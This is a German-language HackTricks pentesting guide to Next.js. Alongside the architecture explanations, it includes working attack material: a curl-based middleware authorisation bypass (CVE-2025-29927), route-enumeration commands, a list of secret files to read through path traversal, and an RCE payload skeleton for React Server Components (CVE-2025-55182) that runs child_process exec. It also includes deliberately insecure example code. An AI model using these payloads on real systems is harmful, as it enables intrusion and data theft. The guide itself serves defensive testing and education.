NextJS

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

• Überprüfen Sie die Abonnementpläne!
• Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
• Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.

Allgemeine Architektur einer Next.js-Anwendung

Typische Datei- und Verzeichnisstruktur

Ein Standard-Next.js-Projekt folgt einer bestimmten Datei- und Verzeichnisstruktur, die Funktionen wie Routing, API-Endpunkte und Verwaltung statischer Assets unterstützt. Hier ein typischer Aufbau:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

Wichtige Verzeichnisse und Dateien

• public/: Hostet statische Assets wie Bilder, Schriftarten und andere Dateien. Dateien hier sind unter dem Root-Pfad (/) zugänglich.
• app/: Zentrales Verzeichnis für die Seiten, Layouts, Komponenten und API-Routen deiner Anwendung. Nutzt das App Router-Paradigma und ermöglicht erweiterte Routing-Features sowie die Trennung von Server- und Client-Komponenten.
• app/layout.tsx: Definiert das Root-Layout deiner Anwendung, umschließt alle Seiten und stellt konsistente UI-Elemente wie Header, Footer und Navigationsleisten bereit.
• app/page.tsx: Dient als Einstiegspunkt für die Root-Route / und rendert die Startseite.
• app/[route]/page.tsx: Behandelt statische und dynamische Routen. Jeder Ordner innerhalb von app/ repräsentiert ein Routen-Segment, und page.tsx in diesen Ordnern entspricht der Komponente der Route.
• app/api/: Enthält API-Routen, mit denen du serverlose Funktionen erstellen kannst, die HTTP-Anfragen verarbeiten. Diese Routen ersetzen das traditionelle pages/api-Verzeichnis.
• app/components/: Beinhaltet wiederverwendbare React-Komponenten, die auf verschiedenen Seiten und Layouts verwendet werden können.
• app/styles/: Beinhaltet globale CSS-Dateien und CSS-Module für komponentenspezifisches Styling.
• app/utils/: Enthält Utility-Funktionen, Hilfs-Module und andere nicht-UI-Logik, die in der gesamten Anwendung geteilt werden kann.
• .env.local: Speichert Umgebungsvariablen, die speziell für die lokale Entwicklungsumgebung gelten. Diese Variablen werden nicht in die Versionsverwaltung eingecheckt.
• next.config.js: Passt das Verhalten von Next.js an, inklusive webpack-Konfigurationen, Umgebungsvariablen und Sicherheitseinstellungen.
• tsconfig.json: Konfiguriert TypeScript-Einstellungen für das Projekt, aktiviert Type-Checking und andere TypeScript-Features.
• package.json: Verwaltet Projektabhängigkeiten, Scripts und Metadaten.
• README.md: Bietet Dokumentation und Informationen zum Projekt, einschließlich Installationsanweisungen, Nutzungshinweisen und weiteren relevanten Details.
• yarn.lock / package-lock.json: Fixiert die Projektabhängigkeiten auf bestimmte Versionen und sorgt so für konsistente Installationen in verschiedenen Umgebungen.

Clientseitig in Next.js

Dateibasiertes Routing im app-Verzeichnis

Das app-Verzeichnis ist der Eckpfeiler des Routings in den aktuellen Next.js-Versionen. Es nutzt das Dateisystem zur Definition von Routen, wodurch die Verwaltung von Routen intuitiv und skalierbar wird.

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

Potenzielle clientseitige Schwachstellen

Obwohl Next.js eine sichere Grundlage bietet, können unsachgemäße Programmierpraktiken Schwachstellen einführen. Wichtige clientseitige Schwachstellen sind:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

Recon: statische Export-Routen-Erkennung via _buildManifest

Wenn nextExport/autoExport true sind (statischer Export), gibt Next.js die buildId im HTML preis und liefert ein build manifest unter /_next/static/<buildId>/_buildManifest.js. Das sortedPages-Array und die route→chunk-Zuordnung dort listen jede vorgerenderte Seite auf, ohne brute force.

• Grab the buildId from the root response (often printed at the bottom) or from <script> tags loading /_next/static/<buildId>/....
• Fetch the manifest and extract routes:

build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'

• Verwende die entdeckten Pfade (zum Beispiel /docs, /docs/content/examples, /signin) um auth testing und endpoint discovery voranzutreiben.

Serverseitig in Next.js

Serverseitiges Rendering (SSR)

Seiten werden bei jeder Anfrage auf dem Server gerendert, wodurch der Benutzer vollständiges HTML erhält. In diesem Fall sollten Sie Ihren eigenen Custom-Server erstellen, um die Anfragen zu verarbeiten.

Anwendungsfälle:

• Dynamische Inhalte, die sich häufig ändern.
• SEO-Optimierung, da Suchmaschinen die vollständig gerenderte Seite crawlen können.

Implementierung:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Statische Site-Generierung (SSG)

Seiten werden zur Build-Zeit vorgerendert, was zu schnelleren Ladezeiten und reduziertem Serveraufwand führt.

Anwendungsfälle:

• Inhalte, die sich nicht häufig ändern.
• Blogs, Dokumentation, Marketingseiten.

Implementierung:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Serverlose Funktionen (API Routes)

Next.js erlaubt das Erstellen von API-Endpunkten als serverlose Funktionen. Diese Funktionen werden bei Bedarf ausgeführt, ohne dass ein dedizierter Server erforderlich ist.

Anwendungsfälle:

• Verarbeitung von Formularübermittlungen.
• Interaktion mit Datenbanken.
• Verarbeitung von Daten oder Integration mit Drittanbieter-APIs.

Implementierung:

Mit der Einführung des app-Verzeichnisses in Next.js 13 sind Routing und API-Verarbeitung flexibler und leistungsfähiger geworden. Dieser moderne Ansatz passt eng zum dateibasierten Routing-System, bringt jedoch erweiterte Möglichkeiten mit sich, einschließlich Unterstützung für Server- und Client-Komponenten.

Grundlegender Route-Handler

Dateistruktur:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

Implementierung:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

Erklärung:

• Ort: API-Routen befinden sich im Verzeichnis app/api/.
• Dateibenennung: Jeder API-Endpunkt liegt in einem eigenen Ordner, der eine route.js oder route.ts Datei enthält.
• Exportierte Funktionen: Anstelle eines einzelnen Default-Exports werden spezifische HTTP-Methodenfunktionen (z. B. GET, POST) exportiert.
• Response-Verarbeitung: Verwende den Response-Konstruktor, um Antworten zurückzugeben; das ermöglicht mehr Kontrolle über Header und Statuscodes.

Umgang mit anderen Pfaden und Methoden:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

CORS-Konfiguration

Kontrollieren Sie, welche Origins auf Ihre API-Routen zugreifen können, um Cross-Origin Resource Sharing (CORS)-Schwachstellen zu mindern.

Schlechtes Konfigurationsbeispiel:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

Beachte, dass CORS auch in allen API-Routen innerhalb der middleware.ts-Datei konfiguriert werden kann:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

Problem:

• Access-Control-Allow-Origin: '*': Erlaubt beliebigen Websites, auf die API zuzugreifen, und kann böswilligen Seiten ermöglichen, ohne Einschränkungen mit Ihrer API zu interagieren.
• Breite Methodenfreigabe: Das Zulassen aller Methoden kann Angreifern ermöglichen, unerwünschte Aktionen durchzuführen.

Wie Angreifer es ausnutzen:

Angreifer können bösartige Websites erstellen, die Anfragen an Ihre API stellen und dabei Funktionen wie Datenabruf, Datenmanipulation oder das Auslösen unerwünschter Aktionen im Namen authentifizierter Benutzer missbrauchen.

CORS - Misconfigurations & Bypass

Server-Code-Offenlegung auf der Client-Seite

Es kann leicht passieren, dass Code, der auf dem Server verwendet wird, auch im auf der Client-Seite offengelegten Code verwendet wird. Der beste Weg, um sicherzustellen, dass eine Code-Datei niemals auf der Client-Seite offengelegt wird, ist die Verwendung dieses Imports am Anfang der Datei:

import "server-only"

Wichtige Dateien und ihre Rollen

middleware.ts / middleware.js

Ort: Root des Projekts oder innerhalb von src/.

Zweck: Führt Code in der serverseitigen serverless-Funktion aus, bevor eine Anfrage verarbeitet wird, und ermöglicht Aufgaben wie Authentifizierung, Weiterleitungen oder das Modifizieren von Antworten.

Ablauf der Ausführung:

1. Eingehende Anfrage: Die Middleware fängt die Anfrage ab.
2. Verarbeitung: Führt Operationen basierend auf der Anfrage aus (z. B. Überprüfung der Authentifizierung).
3. Antwortänderung: Kann die Antwort ändern oder die Kontrolle an den nächsten Handler übergeben.

Beispiele für Anwendungsfälle:

• Weiterleitung nicht authentifizierter Benutzer.
• Hinzufügen benutzerdefinierter Header.
• Protokollieren von Anfragen.

Beispielkonfiguration:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Umgehung der Middleware-Autorisierung (CVE-2025-29927)

Wenn Autorisierung in der Middleware durchgesetzt wird, können betroffene Next.js-Versionen (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) durch Injizieren des Headers x-middleware-subrequest umgangen werden. Das Framework überspringt die Middleware-Rekursion und liefert die geschützte Seite zurück.

• Das Standardverhalten ist typischerweise eine 307-Weiterleitung zu einer Login-Route wie /api/auth/signin.
• Sende einen langen x-middleware-subrequest-Wert (wiederhole middleware, um MAX_RECURSION_DEPTH zu erreichen), um die Antwort auf 200 zu ändern:

curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"

• Da authentifizierte Seiten viele Subressourcen laden, füge den Header zu jeder Anfrage hinzu (z. B. Burp Match/Replace mit einem leeren Match-String), damit Assets nicht umgeleitet werden.

next.config.js

Ort: Stammverzeichnis des Projekts.

Zweck: Konfiguriert das Verhalten von Next.js, aktiviert oder deaktiviert Features, passt webpack-Konfigurationen an, setzt Environment-Variablen und konfiguriert verschiedene Sicherheitsfunktionen.

Wichtige Sicherheitskonfigurationen:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

https://yourdomain.com/redirect?url=https://malicious-site.com

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

pages/_app.js and pages/_document.js

pages/_app.js

Purpose: Überschreibt die Standard-App-Komponente und ermöglicht globalen State, Styles und Layout-Komponenten.

Use Cases:

• Globale CSS einbinden.
• Hinzufügen von Layout-Wrappern.
• Integration von State-Management-Bibliotheken.

Example:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

Zweck: Überschreibt das Standard-Document und ermöglicht die Anpassung der <html>- und <body>-Tags.

Anwendungsfälle:

• Ändern der <html>- oder <body>-Tags.
• Hinzufügen von Meta-Tags oder benutzerdefinierten Skripten.
• Integration von Schriftarten von Drittanbietern.

Beispiel:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

Eigener Server (Optional)

Zweck: Obwohl Next.js einen eingebauten Server mitbringt, können Sie einen eigenen Server für fortgeschrittene Anwendungsfälle erstellen, z. B. für benutzerdefiniertes Routing oder die Integration in bestehende Backend-Services.

Hinweis: Die Verwendung eines eigenen Servers kann die Bereitstellungsoptionen einschränken, insbesondere auf Plattformen wie Vercel, die für den eingebauten Server von Next.js optimiert sind.

Beispiel:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

Zusätzliche Architektur- und Sicherheitsüberlegungen

Umgebungsvariablen und Konfiguration

Zweck: Sensible Informationen und Konfigurationseinstellungen außerhalb der Codebasis verwalten.

Empfohlene Vorgehensweisen:

• Verwende .env-Dateien: Speichere Variablen wie API-Schlüssel in .env.local (aus der Versionskontrolle ausgeschlossen).
• Greife sicher auf Variablen zu: Verwende process.env.VARIABLE_NAME, um auf Umgebungsvariablen zuzugreifen.
• Secrets niemals im Client offenlegen: Stelle sicher, dass sensible Variablen nur server-side verwendet werden.

Beispiel:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

Hinweis: Um Variablen auf serverseitig zu beschränken, lasse sie aus dem env-Objekt weg oder stelle sie mit NEXT_PUBLIC_ voran, damit sie im Client sichtbar sind.

Nützliche serverseitige Artefakte, die über Path traversal/LFI/download-Endpunkte angegriffen werden sollten

Wenn du einen path traversal oder download API in einer Next.js app findest, ziele auf kompilierte Artefakte, die serverseitige Secrets und Auth-Logik leak:

• .env / .env.local für Session-Secrets und Provider-Credentials.
• .next/routes-manifest.json und .next/build-manifest.json für eine vollständige Routenliste.
• .next/server/pages/api/auth/[...nextauth].js um die kompilierte NextAuth-Konfiguration wiederherzustellen (enthält oft Fallback-Passwörter, wenn process.env-Werte nicht gesetzt sind).
• next.config.js / next.config.mjs um rewrites, redirects und Middleware-Routing zu überprüfen.

Authentication and Authorization

Vorgehensweise:

• Sitzungsbasierte Authentifizierung: Verwende Cookies, um Benutzersitzungen zu verwalten.
• Token-basierte Authentifizierung: Setze JWTs für zustandslose Authentifizierung ein.
• Third-Party Providers: Integriere OAuth-Anbieter (z. B. Google, GitHub) mit Bibliotheken wie next-auth.

Sicherheitspraktiken:

• Secure Cookies: Setze die Attribute HttpOnly, Secure und SameSite.
• Password Hashing: Hash Passwörter immer, bevor du sie speicherst.
• Input Validation: Verhindere Injection-Angriffe durch Validierung und Bereinigung von Eingaben.

Beispiel:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

Leistungsoptimierung

Strategien:

• Bildoptimierung: Verwenden Sie die next/image-Komponente von Next.js für automatische Bildoptimierung.
• Code-Splitting: Nutzen Sie dynamische Imports, um Code aufzuteilen und die anfänglichen Ladezeiten zu reduzieren.
• Caching: Implementieren Sie Caching-Strategien für API-Antworten und statische Assets.
• Lazy Loading: Laden Sie Komponenten oder Assets nur, wenn sie benötigt werden.

Beispiel:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Next.js Server Actions Enumeration (hash to function name via source maps)

Modernes Next.js verwendet “Server Actions”, die auf dem Server ausgeführt werden, aber vom Client aufgerufen werden. In der Produktion sind diese Aufrufe undurchsichtig: alle POSTs treffen auf einen gemeinsamen Endpoint und werden durch einen build-spezifischen hash unterschieden, der im Next-Action Header gesendet wird. Beispiel:

POST /
Next-Action: a9f8e2b4c7d1...

Wenn productionBrowserSourceMaps aktiviert ist, enthalten minified JS chunks Aufrufe von createServerReference(...), die genug Struktur (plus zugehörige source maps) leaken, um eine Zuordnung zwischen dem action hash und dem ursprünglichen Funktionsnamen wiederherzustellen. Dadurch lassen sich Hashes, die in Next-Action beobachtet werden, in konkrete Ziele wie deleteUserAccount() oder exportFinancialData() übersetzen.

Extraktionsansatz (regex on minified JS + optional source maps)

Durchsuche heruntergeladene JS chunks nach createServerReference und extrahiere den Hash sowie das Funktion-/Source-Symbol. Zwei nützliche Muster:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)

• Gruppe 1: server action hash (40+ hex chars)
• Gruppe 2: Symbol oder Pfad, der sich (bei Vorhandensein) über die source map auf die ursprüngliche Funktion auflösen lässt

If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.

Practical workflow

• Passives Auffinden beim Surfen: Requests mit Next-Action-Headers und JS chunk URLs mitschneiden.
• Die referenzierten JS-Bundles und die zugehörigen *.map-Dateien (wenn vorhanden) herunterladen.
• Das oben genannte regex ausführen, um ein hash↔name-Wörterbuch zu erstellen.
• Das Wörterbuch zur gezielten Testauswahl verwenden:
• Name-basierte Triage (z. B. transferFunds, exportFinancialData).
• Coverage über Builds anhand von Funktionsnamen nachverfolgen (Hashes rotieren zwischen Builds).

Exercising hidden actions (template-based request)

Nimm einen gültigen POST, der im Proxy beobachtet wurde, als Vorlage, und ersetze den Next-Action-Wert, um eine andere entdeckte action zu targeten:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Replay in Repeater und teste Autorisierung, Eingabevalidierung und Geschäftslogik von ansonsten unerreichbaren Actions.

Burp automation

• NextjsServerActionAnalyzer (Burp extension) automatisiert das Obige in Burp:
• Durchsucht den Proxy-Verlauf nach JS-Chunks, extrahiert createServerReference(...)-Einträge und parst Source Maps, wenn verfügbar.
• Führt ein durchsuchbares hash↔Funktionsnamen-Wörterbuch und de-dupliziert über Builds hinweg anhand des Funktionsnamens.
• Kann ein gültiges Template-POST lokalisieren und einen sendebereiten Repeater-Tab öffnen, in dem der Hash der Ziel-Action eingesetzt ist.
• Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

Notes and limitations

• Benötigt, dass productionBrowserSourceMaps in production aktiviert ist, um Namen aus Bundles/Source Maps wiederherzustellen.
• Die Offenlegung von Funktionsnamen ist für sich genommen keine Schwachstelle; nutze sie, um die Entdeckung zu lenken und die Autorisierung jeder Action zu testen.

React Server Components Flight protocol deserialization RCE (CVE-2025-55182)

Next.js App Router deployments, die Server Actions auf react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) exponieren, enthalten eine kritische serverseitige prototype pollution während der Deserialisierung von Flight-Chunks. Durch das Einfügen von $-Referenzen in eine Flight-Payload kann ein Angreifer von verschmutzten Prototypen zu beliebiger JavaScript-Ausführung und anschließend zu OS-Command-Ausführung innerhalb des Node.js-Prozesses pivotieren.

NodeJS - proto & prototype Pollution

Attack chain in Flight chunks

1. Prototype pollution primitive: Set "then": "$1:__proto__:then" so that the resolver writes a then function on Object.prototype. Any plain object processed afterwards becomes a thenable, letting the attacker influence async control flow inside RSC internals.
2. Rebinding to the global Function constructor: Point _response._formData.get at "$1:constructor:constructor". During resolution, object.constructor → Object, and Object.constructor → Function, so future calls to _formData.get() actually execute Function(...).
3. Code execution via _prefix: Place JavaScript source in _response._prefix. When the polluted _formData.get is invoked, the framework evaluates Function(_prefix)(...), so the injected JS can run require('child_process').exec() or any other Node primitive.

Payload skeleton

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

Abbildung der React Server Function-Exposition

React Server Functions (RSF) sind alle Funktionen, die die 'use server'; Direktive enthalten. Jede form action, mutation oder fetch helper, die an eine dieser Funktionen gebunden ist, wird zu einem RSC Flight endpoint, das bereitwillig vom Angreifer gelieferte payloads deserialisiert. Nützliche recon-Schritte, abgeleitet aus React2Shell-Assessments:

• Statische Inventarisierung: suche nach der Direktive, um zu verstehen, wie viele RSFs vom Framework automatisch exponiert werden.

rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/

• App Router defaults: create-next-app aktiviert standardmäßig den App Router + das Verzeichnis app/, wodurch stillschweigend jede Route zu einem RSC-fähigen Endpoint wird. App Router assets wie /_next/static/chunks/app/ oder Antworten, die Flight chunks über text/x-component streamen, sind starke Internet-facing Fingerprints.
• Implicitly vulnerable RSC deployments: React’s own advisory weist darauf hin, dass Apps, die die RSC-Runtime ausliefern, ausnutzbar sein können even without explicit RSFs, daher sollte jeder Build, der react-server-dom-* 19.0.0–19.2.0 verwendet, als verdächtig gelten.
• Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, etc. reuse den gleichen Serializer und übernehmen dieselbe remote Angriffsfläche, bis sie gepatchte React-Builds einbetten.

Version coverage (React2Shell)

• react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: anfällig in 19.0.0, 19.1.0–19.1.1 und 19.2.0; gepatcht in 19.0.1, 19.1.2 und 19.2.1 jeweils.
• Next.js stable: App Router Releases 15.0.0–16.0.6 enthalten den anfälligen RSC-Stack. Patch trains 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 beinhalten fixed deps, daher ist jeder Build unter diesen Versionen hochrelevant.
• Next.js canary: 14.3.0-canary.77+ liefert ebenfalls die buggy Runtime und hat derzeit keine gepatchten canary drops, wodurch diese Fingerprints starke Exploitation-Kandidaten sind.

Remote detection oracle

Assetnote’s react2shell-scanner sends a crafted multipart Flight request to candidate paths and watches server-side behavior:

• Default mode führt eine deterministische RCE-Payload aus (mathematische Operation, die via X-Action-Redirect reflektiert wird) und beweist damit Codeausführung.
• --safe-check mode verfälscht die Flight-Nachricht absichtlich so, dass gepatchte Server 200/400 zurückgeben, während verwundbare Ziele HTTP/500-Antworten senden, die die Teilzeichenkette E{"digest" im Body enthalten. Dieses (500 + digest)-Paar ist derzeit das zuverlässigste remote oracle, das von Verteidigern veröffentlicht wurde.
